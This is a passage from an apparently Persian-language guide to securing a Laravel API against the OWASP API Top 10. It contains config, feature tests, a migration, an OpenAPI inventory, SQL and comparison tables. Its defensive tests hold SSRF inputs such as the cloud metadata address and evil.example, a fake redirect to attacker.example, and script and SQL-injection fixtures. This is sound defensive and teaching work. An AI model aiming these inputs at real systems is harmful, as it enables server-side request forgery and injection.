try {
return BoundedBody::read($response, self::MAX_BYTES);
} catch (\RuntimeException) {
throw new InvalidArgumentException('Remote image too large');
}
}
}API8: originهای دقیق CORS با php artisan config:publish cors؛ closure رندر problem details در bootstrap/app.php بالاست:
<?php
// API8: published with `php artisan config:publish cors`. Exact origins,
// never a reflected Origin together with credentials.
return [
'paths' => ['api/*'],
'allowed_methods' => ['GET', 'POST', 'PATCH', 'PUT', 'DELETE'],
'allowed_origins' => ['https://shop.example.com', 'https://admin.example.com'],
'allowed_origins_patterns' => [],
'allowed_headers' => ['Authorization', 'Content-Type', 'Accept', 'X-Request-Id'],
'exposed_headers' => ['Deprecation', 'Sunset', 'Link'],
'max_age' => 600,
'supports_credentials' => true,
];Feature test مسیرهای اصلاحشده با دو کاربر در یک tenant و یکی در tenant دیگر، همراه factory و migration برای تکرارپذیری مجموعه:
<?php
namespace Tests\Feature;
use App\Models\Order;
use App\Models\User;
use App\Services\AddressEnrichment;
use App\Services\RemoteImageFetcher;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Route;
use Illuminate\Validation\ValidationException;
use InvalidArgumentException;
use Laravel\Sanctum\Sanctum;
use RuntimeException;
use Tests\TestCase;
// Two users in one tenant, a third in another: the minimum cast for
// authorization tests (OWASP: "Write tests to evaluate the vulnerability of
// the authorization mechanism").
class ApiSecurityTest extends TestCase
{
use RefreshDatabase;
private function user(array $attrs = []): User
{
return User::factory()->create($attrs + ['tenant_id' => 7, 'role' => 'user']);
}
private function orderFor(User $owner): Order
{
$order = new Order;
$order->forceFill(['user_id' => $owner->id, 'tenant_id' => $owner->tenant_id, 'number' => 'A-1', 'status' => 'paid', 'total_cents' => 1999])->save();
return $order;
}
public function test_bola_foreign_order_is_404_and_logged(): void
{
Log::spy();
$ana = $this->user();
$bob = $this->user();
$bobsOrder = $this->orderFor($bob);
Sanctum::actingAs($ana);
$this->getJson("/api/v2/orders/{$bobsOrder->id}")->assertNotFound();
$this->getJson('/api/v2/orders/999999')->assertNotFound();
Log::shouldHaveReceived('warning')->withArgs(fn ($msg, $ctx) => $msg === 'authz_fail' && $ctx['object_id'] === $bobsOrder->id)->once();
}
public function test_bola_other_tenant_cannot_load_the_row(): void
{
$owner = $this->user();
$order = $this->orderFor($owner);
Sanctum::actingAs($this->user(['tenant_id' => 8, 'role' => 'support']));
$this->getJson("/api/v2/orders/{$order->id}")->assertNotFound();
}
public function test_bopla_response_dto_hides_other_users_properties(): void
{
$sam = $this->user(['email' => 'sam@example.com']);
Sanctum::actingAs($this->user());
$this->getJson("/api/v2/users/{$sam->id}")
->assertOk()
->assertExactJson(['data' => ['id' => $sam->id, 'name' => $sam->name]]);
}
public function test_bopla_server_owned_properties_are_prohibited(): void
{
$ana = $this->user();
Sanctum::actingAs($ana);
$this->patchJson('/api/v2/me', ['name' => 'Ana', 'role' => 'admin'])
->assertUnprocessable()->assertJsonValidationErrors('role');
$this->assertSame('user', $ana->fresh()->role);
}
public function test_bfla_user_cannot_call_admin_export(): void
{
Sanctum::actingAs($this->user());
$this->getJson('/api/v2/admin/users')->assertForbidden();
Sanctum::actingAs($this->user(['role' => 'admin']));
$this->getJson('/api/v2/admin/users')->assertOk();
}
public function test_api2_email_change_needs_current_password(): void
{
Sanctum::actingAs($this->user());
$this->putJson('/api/v2/me/email', ['email' => 'new@example.com'])
->assertUnprocessable()->assertJsonValidationErrors('current_password');
}
public function test_api4_page_size_is_clamped(): void
{
$ana = $this->user();
DB::table('orders')->insert(collect(range(1, 500))->map(fn ($i) => [
'tenant_id' => 7, 'user_id' => $ana->id, 'number' => "A-{$i}", 'status' => 'paid', 'total_cents' => 100,
])->all());
Sanctum::actingAs($ana);
// Same attack as BeforeLeaksTest: the fixed route returns at most 100 rows.
$this->getJson('/api/v2/orders?per_page=100000')
->assertOk()->assertJsonCount(100, 'data')->assertJsonPath('per_page', 100);
}
public function test_api6_second_checkout_burst_is_limited(): void
{
$ana = $this->user();
Sanctum::actingAs($ana);
DB::table('products')->insert(['sku' => 'console-x', 'stock' => 100]);
DB::table('cart_items')->insert(['user_id' => $ana->id, 'sku' => 'console-x', 'created_at' => now()->subMinute()]);
$codes = collect(range(1, 5))->map(fn () => $this->postJson('/api/v2/checkout', ['sku' => 'console-x', 'device_id' => 'dev-a'])->status());
$this->assertSame([204, 204, 429, 429, 429], $codes->all());
$this->assertSame(98, DB::table('products')->where('sku', 'console-x')->value('stock'));
}
public function test_api7_internal_and_unlisted_urls_are_refused(): void
{
Http::preventStrayRequests();
foreach (['http://169.254.169.254/latest/meta-data/', 'https://127.0.0.1/', 'https://localhost:8080/', 'https://evil.example/a.png'] as $url) {
try {
app(RemoteImageFetcher::class)->fetch($url);
$this->fail("{$url} must be refused");
} catch (InvalidArgumentException) {
$this->addToAssertionCount(1);
}
}
}
public function test_api8_unexpected_error_is_a_generic_problem_document(): void
{
config(['app.debug' => false]);
Route::middleware('api')->get('/api/v2/boom', function () {
throw new RuntimeException('SQLSTATE[42P01]: relation "report_v2" does not exist');
});
$this->getJson('/api/v2/boom')
->assertStatus(500)
->assertHeader('Content-Type', 'application/problem+json')
->assertJsonPath('title', 'Internal Server Error')
->assertDontSee('report_v2');
}
public function test_api6_device_cap_holds_across_accounts(): void
{
DB::table('products')->insert(['sku' => 'console-x', 'stock' => 100]);
// Two other accounts already bought on this device.
DB::table('purchase_caps')->insert(['sku' => 'console-x', 'scope' => 'device', 'key' => 'dev-a', 'count' => 2]);
$third = $this->user();
DB::table('cart_items')->insert(['user_id' => $third->id, 'sku' => 'console-x', 'created_at' => now()->subMinute()]);
Sanctum::actingAs($third);
$this->postJson('/api/v2/checkout', ['sku' => 'console-x', 'device_id' => 'dev-a'])->assertStatus(429);
// The refusal rolled back the user counter taken before the device check.
$this->assertSame(0, (int) DB::table('purchase_caps')->where(['scope' => 'user', 'key' => (string) $third->id])->value('count'));
$this->assertSame(100, DB::table('products')->where('sku', 'console-x')->value('stock'));
}
public function test_api10_oversized_upstream_body_is_refused_before_buffering(): void
{
Http::fake(['geo-partner.example/*' => Http::response(['name' => 'Acme', 'city' => 'Delft', 'country' => 'NL'], 200, ['Content-Length' => '900000000'])]);
$this->expectException(RuntimeException::class);
app(AddressEnrichment::class)->enrich('1 Main St', 7);
}
public function test_api9_deprecated_version_announces_its_sunset(): void
{
$ana = $this->user();
$order = $this->orderFor($ana);
Sanctum::actingAs($ana);
$this->travelTo('2026-11-29 12:00:00');
$this->getJson("/api/v1/orders/{$order->id}")
->assertOk()
->assertHeader('Deprecation', '@1782863999')
->assertHeader('Sunset', 'Thu, 31 Dec 2026 23:59:59 GMT');
$this->travelTo('2027-01-01 00:00:00');
$this->getJson("/api/v1/orders/{$order->id}")->assertStatus(410);
}
public function test_api10_upstream_redirect_and_bad_payload_are_rejected(): void
{
Http::preventStrayRequests();
Http::fake(['geo-partner.example/*' => Http::response('', 308, ['Location' => 'https://attacker.example/'])]);
$this->expectException(RuntimeException::class);
app(AddressEnrichment::class)->enrich('1 Main St', 7);
}
public function test_api10_upstream_values_are_validated(): void
{
Http::fake(['geo-partner.example/*' => Http::response(['name' => 'Acme', 'city' => '<script>', 'country' => 'NL'])]);
$this->expectException(ValidationException::class);
app(AddressEnrichment::class)->enrich('1 Main St', 7);
}
}<?php
namespace Database\Factories;
use App\Models\User;
use Illuminate\Database\Eloquent\Factories\Factory;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Str;
/**
* @extends Factory<User>
*/
class UserFactory extends Factory
{
protected $model = User::class;
public function definition(): array
{
return [
'name' => fake()->name(),
'email' => fake()->unique()->safeEmail(),
'password' => Hash::make('correct horse battery staple'),
'remember_token' => Str::random(10),
'tenant_id' => 7,
'role' => 'user',
'blocked' => false,
'mfa_secret' => 'JBSWY3DPEHPK3PXP',
];
}
public function admin(): static
{
return $this->state(['role' => 'admin']);
}
}<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
// Schema for the chapter's feature suite. Run after the framework's own
// users and Sanctum migrations (php artisan install:api creates
// personal_access_tokens).
return new class extends Migration
{
public function up(): void
{
Schema::table('users', function (Blueprint $table) {
$table->unsignedBigInteger('tenant_id')->default(7)->index();
$table->string('role', 20)->default('user');
$table->boolean('blocked')->default(false);
$table->string('mfa_secret')->nullable();
$table->text('avatar')->nullable();
});
Schema::create('orders', function (Blueprint $table) {
$table->id();
$table->unsignedBigInteger('tenant_id');
$table->foreignId('user_id')->constrained();
$table->string('number');
$table->string('status');
$table->unsignedBigInteger('total_cents');
$table->timestamps();
$table->index(['tenant_id', 'id']);
});
Schema::create('products', function (Blueprint $table) {
$table->string('sku')->primary();
$table->unsignedInteger('stock');
});
Schema::create('cart_items', function (Blueprint $table) {
$table->id();
$table->foreignId('user_id')->constrained();
$table->string('sku');
$table->timestamp('created_at');
});
Schema::create('purchases', function (Blueprint $table) {
$table->id();
$table->foreignId('user_id')->constrained();
$table->string('sku');
$table->string('device_id')->nullable();
$table->timestamp('created_at');
});
// API6: one counter row per (sku, scope, key); the cap is enforced by
// a conditional UPDATE on this row, which the database serialises.
Schema::create('purchase_caps', function (Blueprint $table) {
$table->string('sku');
$table->string('scope', 10); // 'user' or 'device'
$table->string('key');
$table->unsignedInteger('count')->default(0);
$table->primary(['sku', 'scope', 'key']);
});
Schema::create('businesses', function (Blueprint $table) {
$table->id();
$table->unsignedBigInteger('tenant_id')->nullable();
$table->string('name');
$table->string('city')->nullable();
$table->string('country', 2)->nullable();
});
}
public function down(): void
{
Schema::dropIfExists('businesses');
Schema::dropIfExists('purchase_caps');
Schema::dropIfExists('purchases');
Schema::dropIfExists('cart_items');
Schema::dropIfExists('products');
Schema::dropIfExists('orders');
Schema::table('users', function (Blueprint $table) {
$table->dropColumn(['tenant_id', 'role', 'blocked', 'mfa_secret', 'avatar']);
});
}
};API9 در CI: فهرست OpenAPI برای Laravel و مقایسهای که اختلاف کد و spec را شکست job میکند؛ اجرا در آزمایشگاه:
{
"openapi": "3.1.0",
"info": {
"title": "Shop API (Laravel)",
"version": "2.3.0"
},
"paths": {
"/api/v2/me": {
"get": {
"operationId": "getMe",
"x-owner": "team-shop",
"x-audience": "public"
},
"patch": {
"operationId": "updateMe",
"x-owner": "team-shop",
"x-audience": "public"
}
},
"/api/v2/me/email": {
"put": {
"operationId": "changeEmail",
"x-owner": "team-shop",
"x-audience": "public"
}
},
"/api/v2/me/avatar/import": {
"post": {
"operationId": "importAvatar",
"x-owner": "team-shop",
"x-audience": "public"
}
},
"/api/v2/users/{id}": {
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "integer"
}
}
],
"get": {
"operationId": "getUser",
"x-owner": "team-shop",
"x-audience": "public"
}
},
"/api/v2/orders": {
"get": {
"operationId": "listOrders",
"x-owner": "team-shop",
"x-audience": "public"
}
},
"/api/v2/orders/{id}": {
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "integer"
}
}
],
"get": {
"operationId": "getOrder",
"x-owner": "team-shop",
"x-audience": "public"
}
},
"/api/v2/checkout": {
"post": {
"operationId": "checkout",
"x-owner": "team-shop",
"x-audience": "public"
}
},
"/api/v2/admin/users": {
"get": {
"operationId": "exportUsers",
"x-owner": "team-shop",
"x-audience": "internal"
}
},
"/api/v1/orders/{id}": {
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "integer"
}
}
],
"get": {
"operationId": "getOrderV1",
"x-owner": "team-shop",
"x-audience": "public",
"deprecated": true,
"x-deprecated-at": "2026-06-30T23:59:59Z",
"x-sunset": "2026-12-31T23:59:59Z",
"x-successor": "/api/v2/orders"
}
}
}
}#!/usr/bin/env bash
# API9: fail CI when the routes in the build and the OpenAPI inventory differ.
# Usage: scripts/inventory-diff.sh <route-list.json> [openapi.json]
# route-list.json: output of `php artisan route:list --json --path=api`
# Lines starting with "<" are shadow routes (in code, not in the spec);
# lines starting with ">" are missing routes (in the spec, not in code).
# Exit status: 0 when they agree, 1 when they differ (diff's own status).
set -euo pipefail
routes_json=$1
spec_json=${2:-openapi.json}
# Every method of a route becomes its own pair ("GET|HEAD|POST" -> three
# lines); HEAD is implied by GET in Laravel and OpenAPI, so it is dropped.
code=$(jq -r '.[] | .uri as $u | .method | split("|")[] | select(. != "HEAD") | . + " /" + $u' "$routes_json" | sort)
spec=$(jq -r '.paths | to_entries[] | .key as $p | .value | keys[]
| select(. != "parameters") | ascii_upcase + " " + $p' "$spec_json" | sort)
diff <(printf '%s\n' "$code") <(printf '%s\n' "$spec")نگاه Laravel
- Laravel Policies و Gate. "By default, Laravel automatically discover policies as long as the model and policy follow standard Laravel naming conventions"؛
App\Models\OrderبهApp\Policies\OrderPolicyمیرسد.#[UsePolicy(OrderPolicy::class)]روی مدل آن را صریح میکند. باGate::authorize('view', $order)صدا بزنید؛AuthorizationExceptionپرتاب و ۴۰۳ رندر میشود، یا اگر Policy مقدارResponse::denyAsNotFound()بدهد ۴۰۴. مستندات: "hiding resources via a 404 response is such a common pattern for web applications, the denyAsNotFound method is offered for convenience". راههای دیگر:$request->user()->can(...)، middleware مسیرcan:update,post،->can('update', 'post')روی مسیر یا attributeِ#[Authorize('create', [Comment::class, 'post'])]در Laravel 13.Gate::afterهمهٔ نتیجهها را میبیند؛ مقدار بازگشتی آن نتیجهٔ non-nullِ Gate را بازنویسی نمیکند، پس برای لاگ امن است. - اول Query scope. Policy پس از بارگذاری مدل اجرا میشود. از رابطهٔ
$request->user()->orders()->findOrFail($id)یاwhere('tenant_id', ...)صریح بارگذاری کنید تا ردیف tenant بیگانه به PHP نرسد. در مسیر تودرتو،Route::scopeBindings()باعث میشود/shops/{shop}/orders/{order}فقط وقتی resolve شود که سفارش متعلق به فروشگاه باشد. - Mass Assignment. Laravel 13: "you will need to specify either a Fillable or Guarded attribute on your model class. These attributes are required because all Eloquent models are protected against mass assignment vulnerabilities by default." در Laravel 12 و کد قدیمیتر همین سازوکار
protected $fillable = [...]وprotected $guarded = [...]است؛ مستندات 12.x برای آزادکردن همهprotected $guarded = [];را نشان میدهند. با#[Unguarded]باید "always hand-craft the arrays passed to Eloquent's fill, create, and update methods". تنظیمModel::preventSilentlyDiscardingAttributes($this->app->isLocal())حذف بیصدای attribute را در توسعه به exception تبدیل میکند. - Form Request. متد
authorize()با توضیح "you may determine if a user actually owns a blog comment they are attempting to update" همراهrules()است.$request->validated()و$request->safe()->only([...])فقط کلید اعتبارسنجیشده میدهند. قاعدهٔprohibitedبا تعریف "The field under validation must be missing or empty" کاوشroleرا بهجای حذف بیصدا به ۴۲۲ تبدیل میکند تا قابلهشدار باشد. - API resource بهعنوان DTO پاسخ.
JsonResource::toArray()ویژگیها را صریح فهرست میکند.$this->when($condition, $value)فقط برای بعضی مخاطبان ویژگی میافزاید؛#[Hidden([...])]پشتیبان حالتی است که کسی مدل را مستقیم برگرداند. - سقف کاربر و منبع.
RateLimiter::for('checkout', fn (Request $r) => [Limit::perMinute(5)->by('user:'.$r->user()?->id), Limit::perMinute(300)->by('sku:'.$r->input('sku'))]). مستندات: "you may return an array of rate limits"؛ وقتی چند سقف مقدارbyمشترک دارند، "you should ensure that each by value is unique"؛ پیشوندها برای همیناند. اعمال باthrottle:checkoutاست. - کلاینت HTTP. "By default, the HTTP client will timeout after 30 seconds"؛
connectTimeout()وtimeout()را برای هر integration تنظیم کنید.Http::globalOptions(['allow_redirects' => false])redirect همهٔ فراخوانیها را خاموش میکند؛Http::preventStrayRequests()در تست، تماس fakeنشده را ناموفق میکند. - توکن و ability در Sanctum، مانند
auth:sanctumوabilities:check-status,place-orders، scope سطح تابع برای کلاینت API هستند؛ جای Policy را نمیگیرند. طراحی توکن در احراز هویت است.
حل مسئلههای کلاسیک
یافتهٔ pentest: BOLA بین tenantها روی /api/orders/{id}
محدودسازی را در SQL انجام دهید تا پایگاه داده ردیف بیگانه برنگرداند. Policy را برای قواعد مالک در برابر پشتیبان نگه دارید، برای هر دو حالت ناموجود و غیرمجاز ۴۰۴ بدهید، و امنیت سطری (Row-level security) را شبکهٔ پشتیبان زیر کد قرار دهید:
-- 1. Every read and write carries the tenant and, for customer endpoints, the owner
SELECT id, number, status, total_cents
FROM orders
WHERE id = $1 AND tenant_id = $2 AND user_id = $3;
-- 2. The index that makes the scope free
CREATE INDEX orders_tenant_id_idx ON orders (tenant_id, id);
-- 3. PostgreSQL row-level security keyed on a per-transaction setting
ALTER TABLE orders ENABLE ROW LEVEL SECURITY;
ALTER TABLE orders FORCE ROW LEVEL SECURITY; -- applies to the table owner too
CREATE POLICY tenant_isolation ON orders
USING (tenant_id = current_setting('app.tenant_id')::bigint);
-- the app runs, inside each transaction: SET LOCAL app.tenant_id = '7';
-- 4. Public ids that do not enumerate (PostgreSQL 18 has uuidv7(); older: gen_random_uuid() for v4)
ALTER TABLE orders ADD COLUMN public_id uuid NOT NULL DEFAULT gen_random_uuid() UNIQUE;| راهحل | روش | مزیت | هزینه / محدودیت |
|---|---|---|---|
| Query محدودشده | WHERE tenant_id = $2 AND user_id = $3؛ $user->orders()->findOrFail($id) | ردیف بارگذاری نمیشود | باید در هر Query رعایت شود؛ قاعدهٔ review |
| Policy object | CanView(u, o)؛ OrderPolicy::view و Gate::authorize | قواعد متمرکز مالک، پشتیبان و دسترسی واگذارشده | باید فراخوانی شود؛ تست هر عمل |
| Row-level security | CREATE POLICY در PostgreSQL با SET LOCAL | وقتی کد فراموش کند هم برقرار است | انضباط pool با SET LOCAL در هر تراکنش؛ عبور superuser؛ نیاز مالک به FORCE |
| شناسهٔ عمومی تصادفی | ستون UUIDv4/UUIDv7 با حفظ PK از نوع bigint | بدون enumeration و نشت حجم | مجوز نیست |
مسیر /me/... | GET /me/orders/{id} با subject از توکن | شناسهٔ کمتر از کلاینت | مدیر و پشتیبان هنوز مسیر شناسهدار میخواهند |
| تست دوکاربره در CI | A شیء B را برای هر منبع و متد میخواند | کشف regression | کار ساخت fixture |
هشدار authz_fail | نرخ رد Policy برای هر کاربر | کشف کاوش در production | نیاز به تنظیم |
BOPLA: موبایل فیلدهایی را پنهان میکند که API برمیگرداند
| راهحل | روش | مزیت | هزینه / محدودیت |
|---|---|---|---|
| DTO پاسخ هر مخاطب | PublicUser / SelfUser؛ UserResource با when() | ستون تازه پیشفرض خصوصی است | کلاس برای هر شکل |
| DTO ورودی / Form Request | UpdateInput و DisallowUnknownFields؛ rules() و prohibited | کاوش با 400/422 دیده میشود | همگامی قواعد و UI |
#[Fillable] / $fillable | فهرست مجاز روی مدل | حصار دوم | حذف بیصدا مگر با preventSilentlyDiscardingAttributes |
#[Hidden] | پشتیبان سریالسازی | جلوی نشت return $user را میگیرد | فهرست ممنوع؛ کنترل اصلی نیست |
| تست schema پاسخ | assertExactJson و اعتبارسنجی پاسخ OpenAPI در CI | "schema-based response validation mechanism" | نگهداری تست |
| مجوز فیلد GraphQL | resolver هر فیلد بیننده را بررسی میکند | قاعدهٔ یکسان برای هر شکل Query | کد resolver بیشتر |
پاکسازی پس از یافته: هرچه نشت کرده را بچرخانید؛ mfa_secret یعنی ثبت مجدد MFA، و hash گذرواژهٔ ضعیف یعنی reset اجباری. لاگ دسترسی endpoint را برای تخمین دامنهٔ افشا جستوجو کنید.
BFLA: کاربر عادی خروجی همهٔ حسابها را گرفت
| راهحل | روش | مزیت | هزینه / محدودیت |
|---|---|---|---|
| رد پیشفرض هنگام ثبت | bfla.NewMux مسیر بدون نقش یا AnyUser را رد میکند؛ در Laravel همه داخل گروه احرازشده با can: صریح | مسیر فراموششده نمیتواند وجود داشته باشد | یک خط برای هر مسیر |
| متد در الگو | ثبت مستقل DELETE /api/users/{id} | دستکاری متد به 405 یا policy خودش میرسد | ندارد |
| بررسی در خود controller مدیریتی | #[Middleware('can:admin')] و کلاس پایهٔ مدیر | جابهجایی مسیر بررسی را حفظ میکند | بررسی تکراریِ عمدی |
| تست ماتریس نقش | هر مسیر × هر نقش با وضعیت موردانتظار | مسیر تازهٔ بیpolicy پیدا میشود | دادهٔ تست تولیدشده |
| سطح مدیریتی جدا | API مدیر روی میزبان مستقل، VPN یا SSO و وضعیت امنیتی دستگاه | دامنهٔ خسارت کوچکتر | هزینهٔ عملیاتی |
| حذف از بستهٔ کلاینت | کد مخصوص مدیر به کاربر داده نشود | کشف کمتر | سرور را اصلاح نمیکند |
API6: موجودی روز عرضه در ۱۸۰ ms به رباتها فروخته شد
قاعدهٔ کسبوکار را قید تحت اجرای پایگاه داده کنید؛ شمارندهٔ حافظه بهتنهایی کافی نیست:
-- One unit per customer per drop, enforced by the database
CREATE TABLE purchases (
id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
drop_id bigint NOT NULL,
user_id bigint NOT NULL,
device_id text NOT NULL,
created_at timestamptz NOT NULL DEFAULT now(),
CONSTRAINT one_per_user_per_drop UNIQUE (drop_id, user_id)
);
-- Stock decrement that cannot oversell
UPDATE products SET stock = stock - 1 WHERE sku = $1 AND stock >= 1; -- 0 rows = sold out
-- Account clusters: devices used by more than 3 buying accounts in this drop
SELECT device_id, count(DISTINCT user_id) AS accounts
FROM purchases WHERE drop_id = $1
GROUP BY device_id HAVING count(DISTINCT user_id) > 3;| راهحل | روش | مزیت | هزینه / محدودیت |
|---|---|---|---|
| سقف کاربر | UNIQUE (drop_id, user_id)، MaxPerUser | دقیق و بدون race | مزرعهٔ حساب |
| سقف دستگاه | MaxPerDevice، اثرانگشت دستگاه | آسیب به مزرعه روی یک دستگاه | جعلپذیر؛ مرور حریم خصوصی |
| نرخ منبع | Limit::perMinute(300)->by('sku:...') | حفاظت کالای کمیاب و backend | جهش مجاز به صف میرود |
| زمان غیرانسانی | سبد → checkout حداقل 1 s با timestamp سرور | رایگان؛ کشف اسکریپت ساده | ربات هوشمند صبر میکند |
| challenge هنگام تردید | 428 → CAPTCHA یا step-up | عبور انسان ادامه دارد | مزرعهٔ حل؛ دسترسپذیری |
| صف یا قرعهکشی | اتاق انتظار یا قرعهٔ عرضه | حذف مزیت سرعت | تغییر محصول |
| خریدار تأییدشده | سابقهٔ خرید، تأیید تلفن برای عرضه | افزایش هزینهٔ حساب | اصطکاک |
API9: میزبان beta فراموششده بدون limiter
| راهحل | روش | مزیت | هزینه / محدودیت |
|---|---|---|---|
| کشف | پیمایش DNS و certificate transparency دامنههای خود، inventory ابر، ترافیک gateway و mesh | یافتن میزبان سایه | کار تکرارشونده |
| OpenAPI بهعنوان inventory | spec با x-owner، x-audience، deprecated، x-sunset؛ مقایسه با مسیر در CI | مسیر سایه build را میشکند | انضباط spec |
| کنترل یکسان همهجا | auth و سقف در سرویس، نه فقط gateway جلوی production | امنیت beta برابر production | پیکربندی تکراری |
| بازنشستگی | Deprecation → Sunset → 410 → حذف مسیر، DNS و اعتبارنامه | پایان zombie | مهاجرت کلاینت |
| بدون دادهٔ production در محیط دیگر | دادهٔ مصنوعی staging و beta | نفوذ به beta دادهٔ واقعی نمیبرد | ابزار دادهٔ تست |
| دفتر جریان داده | هر شخص ثالث: داده، هدف و تأیید | پاسخ به «شریک چه گرفت؟» | حاکمیت داده |
API10: شریک هک شده و redirect میدهد
| راهحل | روش | مزیت | هزینه / محدودیت |
|---|---|---|---|
| بدون redirect کور | فهرست مجاز CheckRedirect؛ allow_redirects => false | بدنهٔ حساس جابهجا نمیشود | تغییر URL شریک به config نیاز دارد |
| timeout و سقف | Timeout، LimitReader؛ connectTimeout، timeout و طول بدنه | قطعی شریک قطعی شما نمیشود | تنظیم برای هر شریک |
| اعتبارسنجی پاسخ | طول، الگو، enum و schema | injection و دادهٔ خراب در مرز میمانند | با تغییر قالب شریک میشکند؛ خوب است چون متوجه میشوید |
| bind و encode، هرگز الحاق نکنید | پارامتر SQL و escape متن شریک در HTML | payload داده میماند | ندارد |
| تست قرارداد با fixture مهاجم | تزریق '; drop، <script>، بدنهٔ 2 MB و 308 در تست | حفاظت در برابر regression | نگهداری fixture |
| کنترل egress | ترافیک شریک از proxy خروجی با فهرست میزبان مجاز | دفاع در عمق | زیرساخت |
| مرور فروشنده | پیش از قرارداد "assess their API security posture" | شریک بد کمتر | زمان تدارکات |
آزمون: دو کاربر، ماتریس نقش و مقایسهٔ spec
| نوع | چه میکند | ابزار | خوب پیدا میکند | از دست میدهد |
|---|---|---|---|---|
| تست واحد مجوز (Authorization unit test) | جدول کاربر × شیء × عمل علیه Policy | Go testing، PHPUnit/Pest | منطق API1، API3، API5 | فراخوانی جاافتادهٔ Policy |
| Feature test دوکاربره | کاربر A هر شیء B را با هر متد درخواست میکند | httptest، Laravel Sanctum::actingAs | نبود بررسی در کل مسیر | مسیر تستنشده |
| ماتریس نقش | هر مسیر × نقش → وضعیت موردانتظار | تولید از فهرست مسیر | مسیر تازهٔ بیpolicy | قواعد شیء |
| بازپخش دستی | proxy درخواست را با توکن حساب دیگر تکرار میکند؛ READMEِ Autorize: "automatically replays requests using low-privileged or unauthenticated contexts, and analyzes the server responses to determine whether access controls are properly enforced" | Burp Suite با Repeater و افزونهٔ Autorize، OWASP ZAP | BOLA، BFLA و BOPLA در ترافیک واقعی | مقیاس |
| تست مبتنی بر spec | Schemathesis: "automatically generates property-based tests from OpenAPI and GraphQL schemas"؛ افزونهٔ ZAP: "allows you to spider and import OpenAPI (Swagger) definitions, versions 1.2, 2.0, 3.0, and 3.1" | Schemathesis، افزونهٔ OpenAPI در ZAP | فیلد مستندنشده، 500، انحراف schema | معنای مجوز |
| مقایسهٔ spec و مسیر | OpenAPI در برابر مسیر ثبتشده | inventory.Diff، route:list --json و اسکریپت | مسیر سایه یا جاافتاده | میزبان بیرون repo |
| کشف سطح حمله | میزبان و نسخهٔ فراموششده | پیمایش DNS/CT، inventory ابر و لاگ gateway | میزبان shadow و zombie در API9 | API فقط داخلی |
| تست قرارداد بالادستی | fixture شریک مهاجم | سرورهای httptest، Http::fake | مدیریت API10 | رفتار واقعی شریک |
cheat sheet با عنوان OWASP Authorization Testing Automation همین ایده را در مقیاس شرح میدهد: ماتریس مجوز را داده نگه دارید و تست از آن تولید کنید. حداقل روش IDOR: "Create User A and User B"، به هرکدام شیء بدهید، سپس "attempt to access User B's objects by modifying object references" برای "read, create, update, delete, export, and administrative actions".
انتخاب
| وضعیت | کنترل اصلی | روش اضافه | دلیل |
|---|---|---|---|
| هر endpoint شناسهگیر | Query محدود و Policy object | RLS، شناسهٔ عمومی تصادفی، هشدار authz_fail | اولبودن API1 بیدلیل نیست |
| SaaS چندمستأجری | tenant از principal در هر Query | PostgreSQL RLS با SET LOCAL | یک WHERE جاافتاده مشتری را افشا میکند |
| هر پاسخ مدل | DTO پاسخ / JsonResource | #[Hidden]، تست schema | وگرنه ستون جدید پیشفرض نشت میکند |
| هر endpoint نوشتن | DTO ورودی / Form Request با prohibited | #[Fillable] یا $fillable، DisallowUnknownFields | فهرست ممنوع به حالت باز شکست میخورد |
| تابع مدیریتی | جدول مسیر با رد پیشفرض، can:admin | میزبان مستقل، step-up auth | BFLA حدس بهاضافهٔ بررسی جاافتاده است |
| مسیر مشترک با چند متد | متد در الگو، policy هر متد | 405 برای بقیه | دستکاری GET و DELETE |
| کالای کمیاب، رزرو، ثبتنام و دعوت | قواعد مشخص جریان برای کاربر، دستگاه و منبع | challenge، صف و قید DB | API6 از درخواست معتبر سوءاستفاده میکند |
| عملیات گران یا پولی؛ SMS، AI، export | سقف عملیات کاربر و هزینه | هشدار صورتحساب | حملهٔ هزینه در API4 |
| API عمومی نسخهدار | OpenAPI بهعنوان inventory، Deprecation/Sunset و 410 | امنیت یکسان هر نسخهٔ زنده | zombie و shadow |
| تماس با شریک | کلاینت سختشده: TLS، timeout، بدون redirect، سقف و اعتبارسنجی | proxy خروجی، تست قرارداد | API10 |
| GraphQL | مجوز در سطح resolver و فیلد | سقف عمق، هزینه و batch؛ introspection خاموش در production | یک endpoint و اشیای متعدد |
| واکشی URL کاربر | فهرست مجاز و بررسی IP هنگام اتصال | fetcher جدا | API7؛ فصل Top 10 وب |
در معماری: از یک فرایند تا سیستم توزیعشده
مونولیت: یک فرایند، یک پایگاه داده
حالت ساده: یک router، یک لایهٔ policy و یک پایگاه داده. مثال: API در Laravel 13 با auth:sanctum روی گروه، Policy هر مدل با discovery، JsonResource برای هر پاسخ، Form Request برای هر نوشتن، throttle:api همهجا و throttle:checkout روی عرضه. چکلیست review یک جستوجوست: findOrFail( بدون scope، دادن ->all() به create/update، return $model یا response()->json($model)، مسیر بیرون گروه احرازشده، و #[Unguarded]. در Go همین مونولیت یک principal.Middleware، یک جدول ساختهشده با NewMux دارد که با مسیر بیpolicy شروع نمیشود، و تابع policy برای هر منبع. inventory یک فایل مسیر و یک سند OpenAPI است که CI مقایسه میکند.
مونولیت ماژولار: مرز بدون شبکه
ماژولها داخل فرایند همدیگر را صدا میزنند و مجوز معمولاً فقط در مرز HTTP میماند. مثال: Billing تابع InvoiceService::find(int $id) را به Support میدهد؛ صفحهٔ پشتیبانی هر شناسهای میفرستد و فاکتور هر tenant را میگیرد، چون Policyِ HTTP اجرا نمیشود. اصلاح: API ماژول actor بگیرد، یعنی find(Actor $actor, int $id)، و همان policy و scopeِ tenant را داخل اجرا کند. قرارداد ماژول DTO باشد، نه مدل Eloquent عبوری از مرز؛ مدل همهٔ ویژگیها را میدهد و ماژول دیگر را به ->update($input) دعوت میکند. یک logger مشترک authz_fail و یک inventory از API ماژولها داشته باشید.
میکروسرویس: هر پیکان یک تصمیم است
